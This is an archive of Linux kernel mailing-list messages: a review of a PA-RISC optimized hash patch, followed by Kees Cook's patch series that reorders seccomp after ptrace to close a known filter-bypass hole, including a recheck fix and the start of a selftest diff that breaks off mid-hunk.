> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -30,6 +30,7 @@ config PARISC
>  	select TTY # Needed for pdc_cons.c
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select HAVE_ARCH_AUDITSYSCALL
> +	select HAVE_ARCH_HASH
>  	select HAVE_ARCH_SECCOMP_FILTER
>  	select ARCH_NO_COHERENT_DMA_MMAP

Minor issue:
This line (ARCH_NO_COHERENT) is not yet in Linus' tree.
I assume you diff'ed against -next or something?
Maybe you move the "select HAVE_ARCH_HASH" one or two lines up, or
wait until the other patch went upstream?

> diff --git a/arch/parisc/include/asm/hash.h b/arch/parisc/include/asm=
/hash.h
> new file mode 100644
> index 00000000..fb992a3b
> --- /dev/null
> +++ b/arch/parisc/include/asm/hash.h
> @@ -0,0 +1,146 @@
> +#ifndef _ASM_HASH_H
> +#define _ASM_HASH_H
> +
> +/*
> + * HP-PA only implements integer multiply in the FPU.  However, for
> + * integer multiplies by constant, it has a number of shift-and-add
> + * (but no shift-and-subtract, sigh!) instructions that a compiler
> + * can synthesize a code sequence with.
> + *
> + * Unfortunately, GCC isn't very efficient at using them.  For examp=
le
> + * it uses three instructions for "x *=3D 21" when only two are need=
ed.
> + * But we can find a sequence manually.
> + */
> +
> +#define HAVE_ARCH__HASH_32 1
> +
> +/*
> + * This is a multiply by GOLDEN_RATIO_32 =3D 0x61C88647 optimized fo=
r the
> + * PA7100 pairing rules.  This is an in-order 2-way superscalar proc=
essor.
> + * Only one instruction in a pair may be a shift (by more than 3 bit=
s),
> + * but other than that, simple ALU ops (including shift-and-add by u=
p
> + * to 3 bits) may be paired arbitrarily.
> + *
> + * PA8xxx processors also dual-issue ALU instructions, although with
> + * fewer constraints, so this schedule is good for them, too.
> + *
> + * This 6-step sequence was found by Yevgen Voronenko's implementati=
on
> + * of the Hcub algorithm at http://spiral.ece.cmu.edu/mcm/gen.html.
> + */
> +static inline u32 __attribute_const__ __hash_32(u32 x)
> +{
> +	u32 a, b, c;
> +
> +	/*
> +	 * Phase 1: Compute  a =3D (x << 19) + x,
> +	 * b =3D (x << 9) + a, c =3D (x << 23) + b.
> +	 */
> +	a =3D x << 19;		/* Two shifts can't be paired */
> +	b =3D x << 9;	a +=3D x;
> +	c =3D x << 23;	b +=3D a;
> +			c +=3D b;
> +	/* Phase 2: Return (b<<11) + (c<<6) + (a<<3) - c */
> +	b <<=3D 11;
> +	a +=3D c << 3;	b -=3D c;
> +	return (a << 3) + b;
> +}
> +
> +#if BITS_PER_LONG =3D=3D 64
> +
> +#define HAVE_ARCH_HASH_64 1
> +
> +/*
> + * Finding a good shift-and-add chain for GOLDEN_RATIO_64 is tricky,
> + * because available software for the purpose chokes on constants th=
is
> + * large.  (It's mostly designed for compiling FIR filter coefficien=
ts
> + * into FPGAs.)
> + *
> + * However, Jason Thong pointed out a work-around.  The Hcub softwar=
e
> + * (http://spiral.ece.cmu.edu/mcm/gen.html) is designed for *multipl=
e*
> + * constant multiplication, and is good at finding shift-and-add cha=
ins
> + * which share common terms.
> + *
> + * Looking at 0x0x61C8864680B583EB in binary:
> + * 0110000111001000100001100100011010000000101101011000001111101011
> + *  \______________/    \__________/       \_______/     \________/
> + *   \____________________________/         \____________________/
> + * you can see the non-zero bits are divided into several well-separ=
ated
> + * blocks.  Hcub can find algorithms for those terms separately, whi=
ch
> + * can then be shifted and added together.
> + *
> + * Dividing the input into 2, 3 or 4 blocks, Hcub can find solutions
> + * with 10, 9 or 8 adds, respectively, making a total of 11 for the
> + * whole number.
> + *
> + * Using just two large blocks, 0xC3910C8D << 31 in the high bits,
> + * and 0xB583EB in the low bits, produces as good an algorithm as an=
y,
> + * and with one more small shift than alternatives.
> + *
> + * The high bits are a larger number and more work to compute, as we=
ll
> + * as needing one extra cycle to shift left 31 bits before the final
> + * addition, so they are the critical path for scheduling.  The low =
bits
> + * can fit into the scheduling slots left over.
> + */
> +
> +
> +/*
> + * This _ASSIGN(dst, src) macro performs "dst =3D src", but prevents=
 GCC
> + * from inferring anything about the value assigned to "dest".
> + *
> + * This prevents it from mis-optimizing certain sequences.
> + * In particular, gcc is annoyingly eager to combine consecutive shi=
fts.
> + * Given "x <<=3D 19; y +=3D x; z +=3D x << 1;", GCC will turn this =
into
> + * "y +=3D x << 19; z +=3D x << 20;" even though the latter sequence=
 needs
> + * an additional instruction and temporary register.
> + *
> + * Because no actual assembly code is generated, this construct is
> + * usefully portable across all GCC platforms, and so can be test-co=
mpiled
> + * on non-PA systems.
> + *
> + * In two places, additional unused input dependencies are added.  T=
his
> + * forces GCC's scheduling so it does not rearrange instructions too=
 much.
> + * Because the PA-8xxx is out of order, I'm not sure how much this m=
atters,
> + * but why make it more difficult for the processor than necessary?
> + */
> +#define _ASSIGN(dst, src, ...) asm("" : "=3Dr" (dst) : "0" (src), ##=
__VA_ARGS__)
> +
> +/*
> + * Multiply by GOLDEN_RATIO_64 =3D 0x0x61C8864680B583EB using a heav=
ily
> + * optimized shift-and-add sequence.
> + *
> + * Without the final shift, the multiply proper is 19 instructions,
> + * 10 cycles and uses only 4 temporaries.  Whew!
> + *
> + * You are not expected to understand this.
> + */
> +static __always_inline u32 __attribute_const__
> +hash_64(u64 a, unsigned int bits)
> +{
> +	u64 b, c, d;
> +
> +	/*
> +	 * Encourage GCC to move a dynamic shift to %sar early,
> +	 * thereby freeing up an additional temporary register.
> +	 */
> +	if (!__builtin_constant_p(bits))
> +		asm("" : "=3Dq" (bits) : "0" (64 - bits));
> +	else
> +		bits =3D 64 - bits;
> +
> +	_ASSIGN(b, a*5);	c =3D a << 13;
> +	b =3D (b << 2) + a;	_ASSIGN(d, a << 17);
> +	a =3D b + (a << 1);	c +=3D d;
> +	d =3D a << 10;		_ASSIGN(a, a << 19);
> +	d =3D a - d;		_ASSIGN(a, a << 4, "X" (d));
> +	c +=3D b;			a +=3D b;
> +	d -=3D c;			c +=3D a << 1;
> +	a +=3D c << 3;		_ASSIGN(b, b << 7+31, "X" (c), "X" (d));

This line produces compiler warnings:
arch/parisc/include/asm/hash.h: In function =91hash_64=92:
arch/parisc/include/asm/hash.h:137:29: warning: suggest parentheses aro=
und =91+=92 inside =91<<=92 [-Wparentheses]
  a +=3D c << 3;  _ASSIGN(b, b << 7+31, "X" (c), "X" (d));
                             ^

You should add () around 7+31.

With those changes I sucessfully tested it on a 64bit parisc kernel.

So, please add
Acked-by: Helge Deller <deller@gmx.de>


THANKS!
Helge


> +	a <<=3D 31;		b +=3D d;
> +	a +=3D b;
> +	return a >> bits;
> +}
> +#undef _ASSIGN	/* We're a widely-used header file, so don't litter! =
*/
> +
> +#endif /* BITS_PER_LONG =3D=3D 64 */
> +
> +#endif /* _ASM_HASH_H */
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 00/14] run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:01:50 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506156 13636 80.91.229.3 (9 Jun 2016 21:02:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:02:36 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, "Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 23:02:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB75u-0007pP-2G
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 23:02:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751700AbcFIVCX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 17:02:23 -0400
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]:33244 "EHLO
	mail-pa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751755AbcFIVCS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:18 -0400
Original-Received: by mail-pa0-f46.google.com with SMTP id ec8so16602186pac.0
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 14:02:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=JUxJcNc8W276UI1yymiP2XnM+/dH5pu2Vi0GqiS5jec=;
        b=CjFE0KiRatuaH/12EJTsWTS0o1+l4jH5S4h4J8G3Dl5Nxq8C0UIcXf+2LjiexO1a8e
         5KhBDQ7dpJYN1njkwZ1Sos3K8BRIn71rL9uMtN4L+48OWgpxjV9J4v+zV4iuakHW3lhL
         wEnKFF2BNidJTFiWkaaZKoXVKQjsLRAI7pM7c=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=JUxJcNc8W276UI1yymiP2XnM+/dH5pu2Vi0GqiS5jec=;
        b=Xj29G400wj/73EHZdpYcvYwKarffYgV36JBSoLBrDVdN68j7arFo2C/hhfvuFgwk2g
         UsrYekEnzUC08KZPnHQxhjtun83fSWv8fwR1wKT/crGXRecvK6wTZHIrwN1KjBOM5lq6
         RVbEAl8kFvmCDSm8D4m4DZxEH65FnKReG5N9UW5bEJt69ez4GEt0zd3vucQxJ9ODGyT+
         oF7RGvofzxKpgKh+8Q4d4lv+MW3Cj+UBpEkyiOBhD2hehKllTIIQdhoCDmPs+wjLMI4M
         SYsHgdMLmTHgokkW2+jTQZS7Rm663Mx6JItNjGszDRbgUPE1QDQqyaPN+bq+Wj7j6hPU
         F3xQ==
X-Gm-Message-State: ALyK8tIu3XfOk18XuVnTT0ecUCu8XHtnkZOFAzMOV3vJKLRx5X/C2obSp461H57VzcJZbifL
X-Received: by 10.66.249.161 with SMTP id yv1mr14406381pac.39.1465506137628;
        Thu, 09 Jun 2016 14:02:17 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id m187sm12166897pfc.57.2016.06.09.14.02.16
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:17 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26854 gmane.linux.kernel:2240078 gmane.linux.kernel.cross-arch:32352 gmane.linux.ports.arm.kernel:505733 gmane.linux.ports.mips.general:55125 gmane.linux.ports.ppc64.devel:128378 gmane.linux.uml.devel:15883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26854>

There has been a long-standing (and documented) issue with seccomp
where ptrace can be used to change a syscall out from under seccomp.
This is a problem for containers and other wider seccomp filtered
environments where ptrace needs to remain available, as it allows
for an escape of the seccomp filter.

Since the ptrace attack surface is available for any allowed syscall,
moving seccomp after ptrace doesn't increase the actually available
attack surface. And this actually improves tracing since, for
example, tracers will be notified of syscall entry before seccomp
sends a SIGSYS, which makes debugging filters much easier.

The per-architecture changes do make one (hopefully small)
semantic change, which is that since ptrace comes first, it may
request a syscall be skipped. Running seccomp after this doesn't
make sense, so if ptrace wants to skip a syscall, it will bail
out early similarly to how seccomp was. This means that skipped
syscalls will not be fed through audit, though that likely means
we're actually avoiding noise this way.

This series first cleans up seccomp to remove the now unneeded
two-phase entry, fixes the SECCOMP_RET_TRACE hole (same as the
ptrace hole above), and then reorders seccomp after ptrace on
each architecture.

Thanks,

-Kees
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 05/14] seccomp: recheck the syscall after RET_TRACE
Date: Thu,  9 Jun 2016 14:01:55 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <1465506124-21866-6-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506182 14204 80.91.229.3 (9 Jun 2016 21:03:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:02 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, "Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 09 23:02:49 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bB76G-00088c-QA
	for glk-linux-kernel-3@plane.gmane.org; Thu, 09 Jun 2016 23:02:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752267AbcFIVCn (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 9 Jun 2016 17:02:43 -0400
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:35099 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751833AbcFIVC2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:28 -0400
Original-Received: by mail-pa0-f45.google.com with SMTP id hl6so16554921pac.2
        for <linux-kernel@vger.kernel.org>; Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=zGj3Dc5fUo4wG9tXYIAGSwK5+QIWrKBBNZnIHpErj8M=;
        b=fWmt5ZWb+QsU98L+B3q4kO3IFGwhojT+bjD5bjT6Ubc0c4f1WOaqD9dYPsqGxvDdf6
         Q7uJFwWPpyaovCye1qkz4gyUhQTn2JSsGHfP0x68INnRhu/ebC2sk4HP20r3eiM343l0
         rl7jwDnm05Z7vej229qNU/yLo8rBfePXzjO3I=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=zGj3Dc5fUo4wG9tXYIAGSwK5+QIWrKBBNZnIHpErj8M=;
        b=jYIM8gV7KxA9d9vJ1xD+PvAS139qGMeDpZKpYU1wItqBUJdGHR952rHmfHCmEURirZ
         S7F+jN/zDyPgMxaTgVwZLMv5nAWP5OofO4Fo3HbyMzxWM/2ty6GDJwgWGvXQjZ+b9/T/
         TqGwtz7ahtMT123XIMVJ/8FCqbNN9NEOFlqeIuUxFe2mS6M8EipD2N8b2JpXlgCA6t7w
         rO/w0LsgI5xE1X96zvamLC+Aj6gCR7erd6lJgOI5/2fPCtiZm6rvlc9M4MS8+JQSfil8
         Qt2I74aO+SHx6KcI5CWSLo5lAYb++cZNEO+T3XVIRD+x6yY/I2OqUP/g8ICi8z5S3uym
         gxEw==
X-Gm-Message-State: ALyK8tLgRcrhCBhFmkEI0j8BqWMpfG8tw/ozuVKJOcg5/d5ziRFFVWW900Mw56+uWE0VwIio
X-Received: by 10.66.55.69 with SMTP id q5mr14393835pap.145.1465506146620;
        Thu, 09 Jun 2016 14:02:26 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id ce8sm12105174pad.44.2016.06.09.14.02.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:26 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2240079 gmane.linux.kernel.cross-arch:32353 gmane.linux.ports.arm.kernel:505734 gmane.linux.ports.mips.general:55126 gmane.linux.ports.parisc:26855 gmane.linux.ports.ppc64.devel:128379 gmane.linux.uml.devel:15884
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2240079>

When RET_TRACE triggers, a tracer may change a syscall into something that
should be filtered by seccomp. This re-runs seccomp after a trace event
to make sure things continue to pass.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Andy Lutomirski <luto@kernel.org>
---
 kernel/seccomp.c | 21 ++++++++++++++++++---
 1 file changed, 18 insertions(+), 3 deletions(-)

diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index 14a37d71b612..54d15eb2b701 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -556,7 +556,8 @@ void secure_computing_strict(int this_syscall)
 #else
 
 #ifdef CONFIG_SECCOMP_FILTER
-static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
+static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd,
+			    const bool recheck_after_trace)
 {
 	u32 filter_ret, action;
 	int data;
@@ -588,6 +589,10 @@ static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
 		goto skip;
 
 	case SECCOMP_RET_TRACE:
+		/* We've been put in this state by the ptracer already. */
+		if (recheck_after_trace)
+			return 0;
+
 		/* ENOSYS these calls if there is no tracer attached. */
 		if (!ptrace_event_enabled(current, PTRACE_EVENT_SECCOMP)) {
 			syscall_set_return_value(current,
@@ -611,6 +616,15 @@ static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
 		if (this_syscall < 0)
 			goto skip;
 
+		/*
+		 * Recheck the syscall, since it may have changed. This
+		 * intentionally uses a NULL struct seccomp_data to force
+		 * a reload of all registers. This does not goto skip since
+		 * a skip would have already been reported.
+		 */
+		if (__seccomp_filter(this_syscall, NULL, true))
+			return -1;
+
 		return 0;
 
 	case SECCOMP_RET_ALLOW:
@@ -629,7 +643,8 @@ skip:
 	return -1;
 }
 #else
-static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
+static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd,
+			    const bool recheck_after_trace)
 {
 	BUG();
 }
@@ -652,7 +667,7 @@ int __secure_computing(const struct seccomp_data *sd)
 		__secure_computing_strict(this_syscall);  /* may call do_exit */
 		return 0;
 	case SECCOMP_MODE_FILTER:
-		return __seccomp_filter(this_syscall, sd);
+		return __seccomp_filter(this_syscall, sd, false);
 	default:
 		BUG();
 	}
-- 
2.7.4



From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 01/14] seccomp: add tests for ptrace hole
Date: Thu,  9 Jun 2016 14:01:51 -0700
Lines: 272
Approved: news@gmane.org
Message-ID: <1465506124-21866-2-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506186 14254 80.91.229.3 (9 Jun 2016 21:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:06 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, "Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 23:02:52 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB76G-00088c-0w
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 23:02:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751946AbcFIVCi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 17:02:38 -0400
Original-Received: from mail-pf0-f171.google.com ([209.85.192.171]:34752 "EHLO
	mail-pf0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751935AbcFIVC2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:28 -0400
Original-Received: by mail-pf0-f171.google.com with SMTP id 62so16361342pfd.1
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=q8qZF+TYA4jPqfoZEZG+tXiE0ZHLgydSrv2YshXNGso=;
        b=mxu3GfZHME9q9akUS1Snwp3X4t/2p9OG/6zMGwedo7xtNSK6eMV5FA7PxzoeUHBzxX
         +EGoTcJXbDV/BV55t/jeShsbc6J/pG3SQPAn4L6T8AVPlVuLQIEmMmPn8sf1jICDVCkq
         FU5YCevjR31WQ3KssMsj/QCI2gQMKHqabdJzc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=q8qZF+TYA4jPqfoZEZG+tXiE0ZHLgydSrv2YshXNGso=;
        b=hMSeEvawYkAljleFd2nmNvWEUC8FMFig9P7vx50BJzcjtzHc/Zu09DWp4Aklzrf6il
         6CGMMESKFfZ6B/bzP/VUeVTr5eMgv5hq/jWvS6X3plR58iiVKc5HJZwrmvOo1BPUbG6K
         DK8pPzkppm43ilmcMvc7JHOub08hWHQIqdPlBOCEK5JdpvaEBwSmza36E4zF5Oh7kGxK
         te8vyEn6ymFNHV6ob8aV05/sFPG8CuB+1uyheZpf+0/eLvRDYDcRo+r29elWZuw0iGY7
         aPVRqK1XAYfy5eIhTrHp0Sm9TOgZEYe8ZSirk6TJFV1CIapjMP5hjfYKJImFLVon3ALu
         J8LQ==
X-Gm-Message-State: ALyK8tLRXmyRslILLQNNc15DqVUMdb+InA1cFcT/OTXQfv0UhVjv6kciUdN3mw+Z7YajjUlD
X-Received: by 10.98.30.133 with SMTP id e127mr6551027pfe.112.1465506146972;
        Thu, 09 Jun 2016 14:02:26 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
        by smtp.gmail.com with ESMTPSA id q88sm12263966pfj.4.2016.06.09.14.02.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:26 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26856 gmane.linux.kernel:2240081 gmane.linux.kernel.cross-arch:32354 gmane.linux.ports.arm.kernel:505735 gmane.linux.ports.mips.general:55127 gmane.linux.ports.ppc64.devel:128380 gmane.linux.uml.devel:15885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26856>

One problem with seccomp was that ptrace could be used to change a
syscall after seccomp filtering had completed. This was a well documented
limitation, and it was recommended to block ptrace when defining a filter
to avoid this problem. This can be quite a limitation for containers or
other places where ptrace is desired even under seccomp filters.

This adds tests for both SECCOMP_RET_TRACE and PTRACE_SYSCALL manipulations.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Andy Lutomirski <luto@kernel.org>
---
 tools/testing/selftests/seccomp/seccomp_bpf.c | 176 ++++++++++++++++++++++++--
 1 file changed, 165 insertions(+), 11 deletions(-)

diff --git a/tools/testing/selftests/seccomp/seccomp_bpf.c b/tools/testing/selftests/seccomp/seccomp_bpf.c
index 2e58549b2f02..03f1fa495d74 100644
--- a/tools/testing/selftests/seccomp/seccomp_bpf.c
+++ b/tools/testing/selftests/seccomp/seccomp_bpf.c
@@ -1021,8 +1021,8 @@ void tracer_stop(int sig)
 typedef void tracer_func_t(struct __test_metadata *_metadata,
 			   pid_t tracee, int status, void *args);
 
-void tracer(struct __test_metadata *_metadata, int fd, pid_t tracee,
-	    tracer_func_t tracer_func, void *args)
+void start_tracer(struct __test_metadata *_metadata, int fd, pid_t tracee,
+	    tracer_func_t tracer_func, void *args, bool ptrace_syscall)
 {
 	int ret = -1;
 	struct sigaction action = {
@@ -1042,12 +1042,16 @@ void tracer(struct __test_metadata *_metadata, int fd, pid_t tracee,
 	/* Wait for attach stop */
 	wait(NULL);
 
